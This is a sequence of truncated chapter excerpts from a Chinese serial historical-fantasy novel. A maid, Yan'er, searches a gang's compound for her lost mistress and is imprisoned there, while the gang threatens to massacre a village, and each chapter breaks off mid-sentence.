见此,燕儿只觉得自己似是已连呼吸都快要停滞了下来,忙缩回脑袋去攥着两只紧紧的小拳头,一边咬牙切齿地打着哆嗦,一边在心里一遍又一遍地只一个劲儿地念叨道:“怎么办,怎么办,我该怎么办呢?小姐啊小姐,你可要保佑燕儿啊,你快救救燕儿吧!” 就在这时,黑暗里不知从哪儿忽然伸出一只手来将她的嘴死死捂住,还未等她反应过来,燕儿只觉得自己整个人已经全部都被冰凉激人的池水所包裹,似是身旁还有人正在用力地压低着她瘦小的身子将其浸在水里,除了能感觉到自己的挣扎之外,周围一片漆黑,再也看不到一点点光亮,亦听不到任何声音。 没过一会儿,不知为何,燕儿突然间竟就这样安静了下来,闭着气不再挣扎。 而假山后,两 名高大的红衣守卫一起小心翼翼地一靠近过去,便望着已是空空如也的地面上,互相面面相觑着惊呆了:“这里怎么会有一盏灯呢?” 片刻后,待俩人忽一反应过来,忙举起手中的烛火将假山一旁的一泓池水一点点照亮查看,然却不想水面上到处竟是平静地如同一面镜子一般,毫无半点波澜。 紧接着,俩人又分成两路沿着池边绕了一周,同时朝着边缘处的池水中用其手里明晃晃的大刀胡乱地砍刺起来,却仍旧似是并无半点异样,方才停了下来。 这时,不知是谁遂便伸出几根手指来放到了嘴边,顿时整个院子便响起了一阵响亮而有序的哨音,霎时间,便从四面八方一齐涌来了无数个手中高举着明亮火把的红衣男子将俩人紧紧包围了起来。 伴随着响起哨音的红衣守卫紧急地发出一声:“有刺客潜入,留下了一盏灯,未见其人,大家快点儿分头去找可疑之人,将其带去面见帮主。” 一得令,这些突然之间聚集在一起的众人便又七零八乱地散了去,随即便在西院的里里外外,每间屋子,每个院子,每个角角落落里仔仔细细地寻觅起来。 而此时,水池底,就在燕儿觉得时间过得好慢好慢,胸口处已然很闷很闷,心里也已经变得越来越紧张,觉得自己似是就快要撑不下去了的时候,身旁一与这里的人装扮皆不相同的没有着红衣的男子见到水面上的火光终于渐渐散了去,方才将紧紧附在燕儿肩上和嘴上的一双手缓缓松了开来,继而又将一手忙转从燕儿的腋下穿过,将其搂着慢慢浮出了水面。 刚一出水,燕儿无力地眨巴了下眼睛,便趴在水池边的草地上,大口大口地开始喘起气来。 半晌后,方才瞥见倒在一边,背靠着假山,正席地而坐气喘吁吁的那救了自己性命的男子,其手臂上不知何时竟被方才岸上人的利刀所刺伤,略显狰狞的伤口上至今都尚还不断地渗出着猩红的鲜血。 于是,燕儿便忙朝其身旁跪爬了过去,一把捉起男子那受伤的手臂蹙眉紧张地道:“你受伤了?” 情况紧急,男子根本顾不得自己身上的伤,一边似是有些孱弱地说着,一边便挣扎着欲要起身来:“没事,我们快点离开这里,过会儿,他们一定还会再回来的.” “等一下,你的伤口还在流血,如果不及时包扎的话,到时候化脓了 第三百零一章:赌一把 即使被抓,燕儿亦不愿失去此对小主人唯一的念想的物件,亦要将那颗不慎掉落的药师珠给拾回来。就像她永远都不愿失去那个善良的小主人,无论其飘落到了哪里,她都誓要将其寻回一般。 只是,这一拾,其沉痛的代价便是害的刚脱离险境的俩个人同时再次又被暴露了出来。 起初,龙烨的心里其实还并不是很确定那究竟是不是珠子落地所发出的声响。于是,他只不过随便丢了一小颗碎银子一试,燕儿便立马自己跳了出来。 “启禀副帮主,两名贼人已捉住,请副帮主发落。”此时,两名守卫轻而易举地便将其押到了院子中央,龙烨的面前,请求指示道。 闻此,燕儿顿时抬起头来怔望着龙烨的脸,心里竟然有些惊喜浮起,默默念叨:“副帮主,原来他就是骁龙会的副帮主…真没想到一晚上的误打误撞,我竟就这样不知不觉地便来到了西苑,骁龙会副帮主的面前…那么我家小姐她……” 一念至此,燕儿竟都似是来不及继续往下去想,只想要立刻见到她的小主人,于是便急忙上前两步向其跪倒在地磕头后,如实说明来意道:“副帮主饶命,我叫燕儿,是茶室里煮茶的婢女。今夜,燕儿来这里并没有恶意,燕儿只是想找…想找我家小姐而已。” “你家小姐?”龙烨听了,疑惑地道。 燕儿重重地点了点头,继续说道:“我家小姐名唤作衣上云,是城西衣府衣药师家的嫡长女,亦是秦王府秦王殿下的医女……” 燕儿话刚至此,龙烨便急急将其打断,似是颇为质疑地道:“宫廷药师府上的千金小姐?秦王轩辕翰府上的医女?…这样的女子,她不好好在深闺大宅里呆着韬光养晦…又岂会跑到我骁龙会这伙男人窝里来呢?” 燕儿继续解释道:“副帮主有所不知,我家小姐数日之前在城南遭遇不幸坠落悬崖,至今生死未卜。如今,我已经找了她很久了,不光是我,还有与我一起被捉到这里来的兰香,以及秦王殿下本人,也都正在满天下到处悬赏寻我家小姐呢!” “哦,秦王府在悬赏寻人?那不知佣金如何,若是那个乳臭未干的黄口小儿愿意拿这整个西秦江山来换的话,我龙烨倒是也可以考虑考虑打发我骁龙会的这些弟兄们到处帮他找找看。”龙烨挑着眉,极为挑衅的说道。 燕儿心里遂犹豫了一下,道:“这个嘛,应该不能吧...不过燕儿听说,若是能将小姐寻回的人,殿下他可以接受那人所提出的任何要求。” “好大的口气,就为了寻回府上的一个小小医女,那秦王轩辕翰果真会愿意付出如此代价?哈哈哈哈哈,哈哈哈哈哈,小丫头,你是在逗我玩吗?你们有人听 过世间竟会有这么大的傻子吗?”龙烨肆无忌惮地大声狂笑着,扭头问身旁的守卫。 岂料俩守卫却顿时小心翼翼地压低了声音怯怯对其说道:“副帮主,小的听人说,近日里西秦国的大街小巷内好像是流传着这么回事!” “什么?”龙烨闻此,大惊一声朝那守卫愣住道。然心里却依然还在想着,这不可能,绝不可能,秦王轩辕翰人小鬼大,狡猾奸诈至极,他不可能这么傻,这里面一定是有什么圈套。 正暗自想着,龙烨忽然用那似是饶有兴致,玩味十足的眼神开始游离着端详起燕儿的娇小身子来,兀自在心里暗自仔细琢磨着: “世人皆传说那西秦秦王冷若冰霜,睥睨天下,怎么可能为了府上一个区区医女便如此大费周章。哼,眼前的这个小丫头片子,该不会就是那黄口小儿所故意派来渗入我骁龙会的细作,想要用美人计来摧毁我整个骁龙会吧!不过,这小丫头虽身材长相差了点儿,但看似一定还是个雏的小模样。今天,我倒是想要看看你们究竟想于我耍什么花招?我定让你插翅难飞。” 这时,只见燕儿稍顿了片刻,便又开始滔滔不绝地说了起来:“对了,方才我就是在半路上听说我家小姐就在西苑里伺候副帮主,方才跟着寻了过来。因此而打扰到了大家,还让大家误会将我当成了刺客到处缉拿,燕儿真是惭愧至极。不过,这会儿也总算是误会被解开了。燕儿恳请副帮主开恩,就让我见一见我家小姐吧,燕儿真的太久太久没有见到她,真是太想太想她了。” 显然,燕儿说着说着又再次伤心了起来。而龙烨此时灵机一动,遂故作神秘地回应她道:“原来一切尽是这样,这深更半夜的,我还以为发生了什么大不了的事呢!你家小姐是唤作衣上云对吧,本帮主的屋里却是有一位女子,不过叫什么我还倒真的未曾问过。此刻,她就在我屋里伺候着,不如你这就随我进去见她亲自问吧,许还正是你所找的人呢!” 话音刚落,就在这时,不慎瞄到龙烨玩弄着那嘬八字须,脸上偷偷漾起的一抹极不怀好意的笑容,与燕儿一起被抓的孱弱男子忽然在其身后大声叫喊道: “姑娘,你不能跟他去,不要相信他的话,他是骗你的。你家小姐乃为知书达礼的大家闺秀,大半夜里又怎么会在他的屋里伺候呢,她一定是对姑娘不怀好意,想轻薄姑娘。” 眼睁睁看着自己马上就要到嘴的一块肥肉 第三百零二章:神秘地牢再相逢 “奇怪,看这地上留下的污泥脚印所向,这一大一小,一男一女俩人,无疑就是朝着这个方向而来的啊,怎么会没有呢?这天眼看着就快要亮了,若是再找不着,那就很容易被人发现了。” 冷峻男子匆匆忙忙离开后,在前院里仔仔细细地到处盘查了一遍,最后确定大家所说的刺客,必定是那不知为何要不告而别的落水男子无疑了。 然令他意想不到的是,通过地上的两双满是泥泞的不同脚印,竟还有一个是女子所留下的窄小印子。可他明明已经答应了兰香的请求,并亲自将她送出了西苑去,她又为何要回来呢? 正独自愣坐在回廊里对着一片漆黑纳闷着,忽见龙烨院子里的俩名守卫,即那押送落水男子正返回来的两人忽然与他相向而来,似是还正在半掩着嘴窃笑私语着些什么: “唉,这大半夜的,一连折腾了两趟,真是累死了。” “这可还真是看不出来啊,没想到那小丫头还挺厉害的,竟胆敢踢副帮主的那玩意儿,怕是日后都没好日子过咯。” “副帮主果然不愧是人面兽心啊,那小丫头的年纪完全都可以做他女儿了。” “既然都已经答应了人家放了那病恹恹的男子,不想却又悄悄地对咱们使眼色,将他秘密关押起来。” “骁龙会从来都没有刺客和细作混入过,副帮主又怎么可能会真的放过他们,怕是俩人一定是在劫难逃了。” “可他们俩看起来一个稚嫩,一个孱弱,怎么看都一点儿也不像坏人呢,会不会是附近的村民不小心误入的呢?” “哼,这有什么稀奇的,在骁龙会里,副帮主说是就是,说不是便不是,就连龙帮主都让他三分,这事儿铁定是说不清了。唉,如今,俩人都被一起关了起来,也算得上是黄泉路上可以做一对苦命鸳鸯了。” …… 于是,冷峻男子忙起身来上前向其询问:“俩位大哥,请问你们方才在说什么刺客,莫不是……有人发现刺客的踪迹了不成。” 说着说着,男子的心忽然间咯噔一下,似是瞬间都顿住了一般。莫非是自己来晚了,他们已经被捉了。 “哦,我们是说,骁龙会有史以来从未出现过什么刺客,这次若是不幸被抓住了,想必帮里一定是不会对其轻饶的。”其中一名似是极为谨慎小心的守卫忙上前将另一人挡在身后,亦将其嘴里的话同时给噎了回去,道。 话一说完,尚还未等那冷峻男子反应过来,谨慎的守卫便一把拽着那人匆匆离开。 待到俩人疾步到了较安全的地方后,那被紧紧拽着的人甚为不解地道:“大家都是骁龙会的,你没见方才那人近期是副帮主面前难得的红人嘛,你为何不告诉他真话?” 那谨慎守卫这才一把甩开了那人的手,又狠狠地瞪了他一眼,对其说道:“你一个新来到西苑的知道什么啊,地牢乃是骁龙会关押重犯的重中之地,除了你我和里面的看守以及两位帮主之外,绝不能被其他人知道。凡是泄密者,格杀勿论。看你方才傻乎乎的,那张没有把门的嘴,险些就送了我俩的小命。” “原来是这样的,以后还请师傅对徒弟多加照料,徒弟一定感激不尽!”那人顿时领悟,拱手向其恭敬地致谢后,俩人方才兀自一道离去。 而此时,貌似是在出了位于西苑后面一个鲜为人知的小门不远处,一个暗不见天日的地下石窟之中,燕儿与落水男子终是被捉住关在了一起。石窟里,到处灯火昏暗。 石窟的底部距离地面看起来有数丈之高,几根粗壮的石柱支撑起整个石洞来,里面又分了好几个巨大空旷的石窟,洞口处有个很整齐的台阶,一直通到了底部。 石窟的墙壁上,雕刻着一些不知名的人物风景浮雕,石柱上也有龙形图案,本来一个如此巨大的石窟就已经非常惊奇,加上了这些雕刻后更显扑朔迷离。 在其中一个类似牢房的石窟里,黑色的铁门被偌大的铁锁牢牢扣死着,门口那两名守卫像是门神一般毫不松懈地把守着。 这里便是骁龙会最神秘的地方——地牢。 此时,黑暗中,那落水男子歪着脑袋蜷缩在一角落里,不屑地瞥了眼那被人刚刚丢进来,倒身侧趴在地牢冰冷的地面上头发凌乱,衣衫不整的燕儿,对其没有半点好气地道:“看吧,我说了他不是好人,你非不信,这下吃亏了吧?” 话音刚落,岂料竟忽然传出燕儿凄凉悲切的一阵哭声来:“呜呜呜……” 看到她趴在地上,其瘦小的肩头抖动地越来越厉害,随之抽泣声亦愈来愈清晰,男子心里不禁慌了起来,忙近身过去蹲身在其身旁。 拍了拍她的肩后,正欲开口安慰,燕儿竟忽然惊坐起身来连连朝后退缩着,似是失心疯了一般闭着眼睛看都不看,便对其大声吼叫道:“禽兽,滚开,不要碰我,滚,滚啊……” 男子顿时被其异常激动的情绪吓了一跳,然却只瞬间一愣,接着依旧试探着与其对话,柔声道:“姑娘,姑娘,是我,你睁开眼睛好好看看,我是在池塘里救你的那个人啊!” 闻声,半晌后,燕儿终于似是安静了些许下来,便缓缓抬起头来,待一认清楚面前的人时,便激动道:“你,你不是已经被那禽兽命人丢出骁龙会了吗?怎么会在这儿。这儿,这儿又是哪里?”   第三百零三章:我怎么如此蠢笨 王二听着燕儿的话,早已惊的直瞪大了眼睛,好半天都是嘴巴一张一张地似是都说不出话来,直拼命地摇晃着她细弱的胳膊,问:“你说的可都是真的,这里真的还有另一个女子,是她救了我?” 燕儿像是都快要被他摇的散架了一般,只得不住点头。 “太好了,太好了,那一定是她,一定是她……”看着燕儿惊愣的表情,王二似是忽然意识到了自己的鲁莽,遂一把将燕儿丢开,兀自站起身来一脸欣喜地一边自言自语着,一边在燕儿的面前来来回回不停地踱起步来。 直到其终于平复了些下来,燕儿方才屈起腿来靠着石壁,歪着脑袋好奇又小心翼翼地问:“那姑娘莫非你认得?她不会就是你正在找的那位姑娘吧?她…是不是很美?” 闻此,王二忽然间顿足停了下来深看了一眼燕儿,说道:“她是我的救命恩人,真没想到,这次竟又是她救了我。” 燕儿听了努了努嘴,俩人又一起默了会儿,王二嘴角浮起一丝浅笑,望着墙壁上的那盏昏暗的烛火,侧身对着正席地而坐的燕儿回忆着说道: “约摸元宵节的前几日,在一个风驰电掣,大雨滂沱之夜过后的第二天清晨,我在村口河边的水草堆里发现了她。那时候,她奄奄一息地浸在水里,活菩萨说她是我的贵人,我还不信,没想到她还真是我王二的贵人。救了她,我就像是时来运转了一般,好事连连。若是没有她,估计我王二早就死在山里了……不过,她的长相嘛,倒是恰恰相反,她的脸上有一块极丑陋的红色胎记,所以整日都遮着一条白色面纱……” 王二的话还未说完,燕儿却顿现出一脸惊愕来,整个人先是呆呆地就如同僵住了一般,似是连她周围的空气亦都静止了下来,而转瞬却不知为何,竟又再次颤抖着身体哭了起来。 王二忽闻身后似是传来了呜咽之声,便忙转身过去将目光瞥向燕儿的脸上,不解地问:“你怎么了?” “小姐,她…她就是我家失踪了的小姐。老天保佑,原来,我家小姐她真的还活着,真的活着。太好了,这真是太好了!”燕儿遂声音颤抖着,激动地喜极而泣道。 然王二想了想,却问:“你家小姐的名字是叫……” “我家小姐是城西衣府的嫡长女,名唤衣上云。”燕儿抹了把泪,哽咽着道。 “不对啊,可我怎么听欢儿姑娘唤她作若曦呢?”王二纳闷极了。 “欢儿姑娘?”燕儿不解地问。 这时,王二朝着燕儿的身边缓缓走了过去,盘腿与其坐在一起,对其细数解释道:“若曦姑娘是我最先发现的,没错。可是却是住在活菩萨家,当时她的头受了很重的伤,还在发高热,就留了一口 气。后来我便去找了整个村里唯一懂医术的活菩萨,幸得她与其侍女欢儿姑娘的悉心照料,经过好几个日日夜夜,那姑娘方才醒了过来。” “我可怜的小姐,她究竟在外面受了多少罪啊!”燕儿听着,想着,说着,又一边哭一边用衣袖抹起了泪来。 就在这时,王二似是忽然又想起了什么,忙大力地拍了一把自己的大腿,炸了句:“对了,我想起来了,当时我看到她的手腕上套着一只颇为引人注目的七彩金丝彩玉镯子……” 静悄悄的地牢里,燕儿竟被其举动突然吓了一跳,然听了这话心里却更为确定,当即便道:“是她,没错,那七彩金丝彩玉镯子乃是只有我家小姐才有的东西。这世上,不可能有如此相似的俩个人,又有红色胎记,又几乎于同样的时间里死里逃生,又有相同的镯子…那一定是我家小姐。” 燕儿说的似乎也并不是没有道理,然王二始终还是对其有些不明白,好一番冥思苦想后,他忽然开口说道:“你说的也对,既然你如此肯定那一定是你家小姐,那么她如今叫作若曦的原因就只有两种可能……” “是什么?”未及王二将话说完,燕儿着急地问。 王二道:“一个是她故意要借此来隐姓埋名,不想被人找到。另一个便是…因为她的头部当时受创很严重,很可能造成她醒来后…失忆了。” “什么,失忆了?”燕儿朝其瞪大了眼睛,惊声道。 王二认真地看着燕儿的眼睛,道:“因为不记得,所以才会得此名字。所幸现在她人就近在咫尺,只要看一眼,便知分晓。” 一时间里,忽然获得了这么多信息,燕儿似是已经有些反应不过来了,只是恍然大悟过来,重重地用拳头一次又一次地狠狠砸着自己的膝头,自责道:“燕儿怎么这么笨呢!当初那俩个守卫说见过一遮着白纱的女子在西苑里,我就应该已经想到那骁龙会里除了我和兰香姐以外的另一个女子,便是我家小姐才是啊!我真是蠢到家了。” 俩人一起又沉默了许久,燕儿缓缓抬起头来朝着周围里一脸黯然地探了过去,道:“可如今,我们要怎么才能离开这里呢?这里到底是什么地方,小姐她一个人在这里一定很危险,也不知道兰香姐怎么样了?” &n 第三百零四章:有人要屠村 年轻守卫一听,当即怔看向身旁年长守卫的脸,年长守卫顿时一愣,忙上前挡在若曦的前面厉声对其道:“哼,煮茶的婢女是什么身份,我们岂会注意,这里是你们能来的地方吗?还不赶快离开,是在等我喊人来吗?” “别喊,别喊,我这就走,我这就走。”女子一边祈求着,一边急急转身踱步离开。 可女子刚走出没几步,忽然再次顿足回过头去深看了那黑色长帷帽下的一袭鹅黄色衣裙女子一眼,问:“姑娘,请问我们是不是在哪里见过?” “还不快走!”岂料话音刚落,便被那顿时一脸铁青,半眯起眼来气势汹汹的年长守卫更加严肃的怒斥声惊愣住,不得已只好端起一副看似满腹心事重重又凝重的脸色来疾步退了去。 无疑,此人正是一夜未眠寻找燕儿下落的兰香,因为答应过冷峻男子不再到处乱跑,但还是忍不住来到了西苑里试图见他一面,却是等了许久并未见其出来。 兰香与衣上云相处的日子并不多,自是尚还没有燕儿对衣上云的那份熟悉感。 若是不然,燕儿也不会一到这里便感受到了主人气息的存在。此刻若是燕儿的话,即使不必看脸,也照样能从其正面一眼便认出她碎碎念的主子来,亦毫无畏惧地上前将她紧紧抱住,再也不放手。 若是上次跳水时,衣上云冲刺的速度能再慢一点点,而燕儿亦能再集中注意力在其正面上些许,或许后来一切的事,便就都不会发生了。 此刻,因为龙恩临走之前的交待,这俩守卫整日里将若曦像是国宝一般地贴身保护着,唯恐其受到一点点伤害。故对于方才兰香的无心冲撞,其俩人这般的反应,她倒也并没有怎么上心,待见到兰香的身影终于渐渐消失,若曦只淡淡说了句:“好了,我们快走吧。” 于是,三人便一起继续朝着骁龙会的马厩方向匆匆踱步而去。 殊不知,今日的那片十里桃林附近,正在悄悄酝酿着一场大祸。 自从人类历史上发明了纸鸢后,无论在哪个时代,亦或是世界的哪个角落,它都是春天里的一道尤为特别的风景,更是留下了诸多因此而生出的风流韵事与佳话。 而在灵空大陆里,这片地大物博的西秦大地上,更是有云“阳春三月三,纸鸢飞满天。” 然其实无论是放飞纸鸢,还是看纸鸢随风展开高翔于万里晴空之中,都是别有一番风趣的。 此时,在西秦南境上,那片似乎被人遗忘了的村落里,阳光温暖明媚,白云悠悠闲走,河水清澈潺潺,一群麻鸭浮在水面上欢快地一边高歌唱着,一边卖力地在水下拨动着脚掌,披着一身麻褐色的外衣你追我赶着,不知道要去哪里寻什么乐子,到 处皆是无尽的春意盎然之色。 村西头,有一片极为广阔的青青草地上,许多玩纸鸢的或大或小的人们皆都展露欢颜,呼吸着清新的空气,正自由自在地奔跑呐喊,放飞自我着。 而旁边更多看着那展翅高飞的鹰、翩翩起舞的蝶、扶摇晴空的蜻蜓……一个个将头顶的蓝天点缀的五彩斑斓的人们的好心情亦都顿时随着缕缕春风早已飞扬了开来,感染着彼此。 然村东头的一户人家里,老妇人却并未被这份快乐所感染半分。 早饭后,便在侍女欢儿的搀扶下到了院落里来散步,却是抬头一脸严肃地望着天边那些五彩缤纷,造型各异的纸鸢许久许久,蓦然问了句:“王二至今都还没有回来吗?” “还没呢!”欢儿弱弱地答道。 闻此,老妇人轻叹了口气,垂首下来默了会儿,最后无力地道了句:“扶我进去吧。” 欢儿自是知道打从若曦失踪后,老妇人便一直就这样终日里郁郁寡欢着,除了对此事每日例行问个一两次以外,似是再也没有能让她上心的事了。如今,更是整日里大门不出二门不迈,欢儿心里着实担忧极了,怕她这样下去一定会闷出病来。 而对于老妇人,本以为她守在这里卧薪尝胆,终于总算是不辱使命,可以去见自己心心念念了八年的人了,然却又将若曦给弄丢了。早知如此,她那日就不该不听欢儿的阻拦,执意去城隍庙里找玄空大师,方才惹出此大祸。如今,她怕若曦突然间又回来,竟再也不敢出门去了。 佛说‘所有的失去,都会以另一种方式重新拥有。’那么,这些年她所失去的一切,又会重新拥有些什么呢?历代西秦守护者只守护西秦天子,她始终都不明白,为什么西秦璟帝的天下,他的守护者,不是由他的生母,当今的太后来助他做这件事,玄空大师却偏偏要让她来做呢? 怎么想都想不明白,索性也就放弃了。在欢儿的搀扶下,老妇人一边进屋,揉了揉眼睛,纳闷地道:“也不知道如今他们都怎么样了?王二是不是已经找到若曦了?那位陆公子又可否打探到了些什么?这几日,老身的眼皮总是跳个不停,该不会是要出什么事吧?” “不知老夫人是哪只眼皮在跳呢?”闻声,欢儿忙松手上前,挡住了老妇人的去路,直瞪大了眼睛看着她的脸,仔细询问道。 老妇人无奈受阻,顿足停了下来想了想,伸手指着一只眼睛道:“应该是这只吧?”   第三百零五章:做不到,也要做到 樵夫稍微缓了口气,便着急地说道:“小妮子他们大大小小几个孩子在村口的草地上玩纸鸢,突然不知从哪儿冒出来一伙手持大刀的红衣壮汉,也不知道在找什么一男俩女三个人,说那三人杀了他们的弟兄,要找他们出来为其偿命,又说是有人亲眼看到他们向着咱们村子方向逃来的。“ 看到樵夫已然气喘吁吁说不了话来,甚至都连双腿也在瑟瑟发抖着,老妇人赶忙与欢儿一起将他扶着坐到了院子里的石桌旁,兀自又对身旁的欢儿吩咐道:“欢儿,快去拿杯水来。” 樵夫咕嘟咕嘟一口气将水灌下,继续道:“他们将孩子们手里的纸鸢全都抢了,问孩子们最近是否有见过那三人,若是找不出那三人来,就不还给他们纸鸢。小妮子便对他们一口咬定说村里没有这样的人来过,可他们硬说是小妮子撒谎,便将她绑在了祠堂门前的柱子上,小妮子爹娘得知后跑去找他们理论,也被一起绑了起来,正准备要点火烧死他们全家呢……” “哪里来的这伙贼人强盗,我西秦国里还有没有王法了?”樵夫的话似是还未说完,老妇人便一把重重地拍在了面前的石桌上,咬牙切齿地怒道。 一旁的欢儿眉头紧蹙,垂首立在老妇人身旁正似在若有所思着,忽被其怒气惊了一跳,忙朝其脸上抬眼望去。 樵夫战战兢兢地再次开口:“不仅如此,那伙人还说,若是今日咱们桃花店村不将那三个人交出来,便要...便要大开杀戒,屠遍全村了!” “有老身在此,他们敢!”老妇人握紧了摊开在石桌上的那只拳头,瞪着眼睛一脸肃穆地狠狠道。 “这伙人,看起来势利不小,穿衣打扮不像是一般的小毛贼,怕是他们不会是说着玩的!”樵夫忧心忡忡地道。 这时,立在一旁的欢儿似是终于缓过了神来,问樵夫:“他们要找的人是什么样子的,可有其画像?” 樵夫叹了口气,一脸苦相道:“要是有画像还真是好了,多少有个参照。可他们却什么都没有,只一口咬定说那三个人一定在咱们村里。哦,对了,他们说这三人中一定有会舞剑的。可根本就没谁见过有生人出没啊!除了若曦姑娘,可她现在不也是...咱们这村,左不过就巴掌大点儿地,横竖也就这十几户人而已,谁不清楚谁家祖宗十八代啊!这真是愁死了,这正是飞来横祸,飞来横祸啊!” 樵夫无奈地直连连摇头着叹息道。 这时,欢儿口中低声喃喃道:“红衣壮汉...会舞剑…莫非他们要找的人是……” 闻此,老妇人的脑海里亦瞬间浮现出当日在湖边凉亭外躺着的那两具惊人触目惊心的红衣壮汉尸体来,似是突然间亦明白了过来 ,便忙起身来对樵夫道:“快点带老身去祠堂。” 然刚被欢儿搀着走出没两步,老妇人忽然停下脚步来又道:“等等,老身去拿样东西。” 待到终于快要到达祠堂的时候,老妇人思前想后了一路,忽然握紧了身旁侍女的手,对其叮嘱道:“欢儿,待会儿无论发生了什么,你都不要说话,一个字都不要说。” 欢儿闻声,顿时望向了老妇人的侧脸,似是已猜到了些什么似的,泪水瞬间溢满了眼眶,激动地道:“老夫人,您想做什么?不可以,绝对不可以。这一切都是因欢儿所引起的,您不能替欢儿承担这些,不能。” 然老妇人却始终都目光无比坚定地看着前方,迈着沉稳的步伐,意味深长地郑重向其嘱咐说道:“老身这一生已是风烛残年,多一天少一日又有何分别?然你的人生才刚开始。最重要的是,你一定要答应老身,无论如何,你都必须找到若曦,带她去见城隍庙的玄空大师,若曦是我西秦大地的希望与未来,她必须得好好活着,你知道吗?” 欢儿拼命地摇头,似是尤为不解地道:“为什么?这到底是为什么?自从若曦出现后,老夫人您就像变了个人一样,为什么整日里总是说这些奇怪的话?若曦她只不过是个和我们一样有血有肉的普通人而已,欢儿不明白,老夫人你从一开始起为何总是把她看的如同神明,救世主一般呢?” 樵夫大汗淋漓地疾奔在前面不远处带路,老妇人一边坚定地走着,忽然吸了口气道:“事到如今,老身不妨就全都告诉你吧。其实,若曦她并不是个普通的女子,她乃是传说中的血族之后,拥有一股强大的神秘力量,亦是我西秦国真命天子的守护者。有她在,西秦大地上才能得以国泰民安,百姓方能安居乐业。这下,你可明白了?” “什么?若曦...她便是存在于西秦国的那股传遍整个灵空大陆,让敌国皆闻风丧胆,不敢来犯的神秘力量?可不是早都传说她已经……”闻此,欢儿一时间里瞪大了眼睛,惊呆了。 老妇人亦感叹道:“是啊,八年前,老身也曾和你一样,以为西秦守护者已经遭遇不测,再也不复存在了。直到后来,玄空大师救了老身后,将老身秘密护送到了这片与世隔绝的世外桃源里,方才告诉老身说,守护者并没有死, 第三百零六章:同现两块金牌 岂料那头领话刚至此,一直温暖柔和的春风骤然间转大,周围的树枝亦瞬间被这阵大风吹得喀嚓喀嚓直作响。 大风刮落了树上的叶片,接着又忙搅起地上的落叶。霎时间,漫地狂卷起来。 而轰轰雷声亦随之而由远及近,顿时间漫天乌云黑沉沉地压了下来,天色迅速变暗,就像天欲就要塌下来了一般。 几道闪电如金蛇狂舞,刹那间撕裂了头顶整片黑云密布的天空,雷声霹雳,震耳欲聋。 正当所有人都吃力地想要睁开眼睛来探究一番,到底发生了什么的时候,忽然传来如神邸般威严的一阵大声怒斥道:“哪里来的毛贼,竟敢在此撒野!” 闻声,村民们皆都吃惊地道:“活菩萨,是活菩萨来了……” 而那些个刚刚还在对着这群平头老百姓耀虎扬威的红衣壮汉闻声,瞬间亦被其怔愣住,继而所有人都不约而同地慌乱朝四下里急急搜寻去。 那头领远远地从人群后方眼疾手快地一扫到老妇人的身影,便挑眉一副趾高气昂地嚣张道:“嗯?漏网之鱼啊。你是何人?竟敢对爷爷说话如此不客气,是不是诚心来找死?” 说着,立马便上去两名壮汉持刀将老妇人团团围住,然老妇人却始终都面不改色,自带一副不怒自威,不容侵犯的气质,丝毫并不惧怕的样子。 只见她看都不看那围上来的红衣壮汉,兀自一边昂首挺胸,步履沉稳地只自顾自绕过那头领身旁,朝着小妮子一家三口身旁缓缓踱步过去,一边对那壮汉冷哼了一声,不屑地道: “哼…老身是谁?这么多年过去了,从来还没有人问过老身这个问题。如今,老身倒还真是有些不记得自己的身份了!” “大胆!”对于老妇人如此轻视与傲慢的态度,显然,那头领颇为不满。 然老妇人却依旧镇定自若地踱步过去,深看了眼小妮子一家三口被死死绑着几乎都快要虚脱过去的模样。 这时,小妮子声音颤颤弱弱地在其面前唤了一声:“老夫人,你怎么来了,快走,他们是来抓你和欢儿姐,还有那位陆公子的,小妮子什么都没说,什么都没说……” 见此,老妇人顿时落下了泪来,当即瞪着那几名壮汉狠狠怒道:“还不快放开他们。” “你说放便放,那爷爷我在这里又算什么?凭什么听你的?”那头领一副吊儿郎当的模样晃悠到老妇人身前,在其耳旁对其轻声挑衅道。 老妇人咬了咬牙顿了顿,侧身对着他吸了口气,昂首道:“你们要找的人是我,与他们无关,还不赶紧将他们给放了!” 那头领听了顿时一愣,接着又轻笑一声,继而将老妇人从头到脚细细打量了一番,道:“你当爷爷我是傻子吗?爷爷 要找的可是一男俩女三个人,你看起来年纪也不小了,不会连数数都不会吧?” 老妇人依旧抬高着下巴道:“没错,当日的确是有三个人。只是,与老身一起回来的另外俩个,他们原本并非是这个村里的人。所以,在他们将老身安全送回之后,便就都匆匆离开了。” 那头领双手环胸,一手端着下巴暗自想了想,又问:“那他俩离开后,去了哪里,你可知道?” “半路途中,见有恶匪于光天化日之下强抢民女,故‘路见不平,拔刀相助’。我们都只不过恰巧是萍水相逢而已,并无深交。这天大地大,老身又怎会知道他们去了哪里呢?”老妇人撇了那人一眼,道。 那头领想了想,据这妇人所述,忽地想起了事发现场的那位衣衫不整的壮汉来,如此,想必当日她真的是在场的。 再抬眼看看面前那一个个手无缚鸡之力的村民,没有一个像是能使剑的。也许,事实真相正如她所说,一念至此,便立刻发号施令:“来人,将这名老妇也一起给我绑了!” “老身看你们谁敢!”岂料老妇人顿时一怔,竟迅速从袖兜里拿了一块金牌亮了出来。 那头领缓缓上前去,弯腰将其手中的金牌细细探究了一番,疑惑道:“西秦皇宫的宫牌?你是何人?竟会有此物。” “活菩萨怎么会有宫牌的?”闻此,村民们亦惊讶地议论了开来。 “哼,老身的身份还不是你们这些十恶不赦的土匪强盗们配知晓的,还不快夹起尾巴来给老身滚!”老妇人居高临下地朝他怒喝。 岂料那头领竟双手负后着缓缓直起身来,咧着嘴肆无忌惮地仰天大笑了起来“哈哈哈哈哈……” “你笑什么?”老妇人不明所以地问。 “哼...西秦皇宫又如何,与我骁龙会何干?爷爷我无所畏惧。”那头领立刻变作一脸阴沉地转过身去朝着村民们举手扬声道。 “‘骁龙会’?”老妇人纳闷地重复了一句。 “怎么?没听过吧?爷爷会让你慢慢了解的。来人,将她绑起来,看来不用点手段,你今儿是不会将那俩名共犯供出来了。” “无法无天,丧心病狂,你们...……”眼看着上来的俩名壮汉的手已然搭上了她的手臂,老妇人终是有些慌了。 然就在这时,隐在一旁大树后的欢儿终于再也按捺不住了,拔腿便朝其疾奔过去道:“放开她们,你们要找的人在这儿。” “欢儿,你……”老妇人看见欢儿终是冲了出来,瞬间惊呆了。 “老夫人,对不起,欢儿已经尽力了,可是欢儿始终都不能眼睁睁看着你去送死。” 就在这时,那头领摇了摇头咋舌着,近身到欢儿的面前挑起她的下巴来说 &nb 第三百零七章:她是妖女 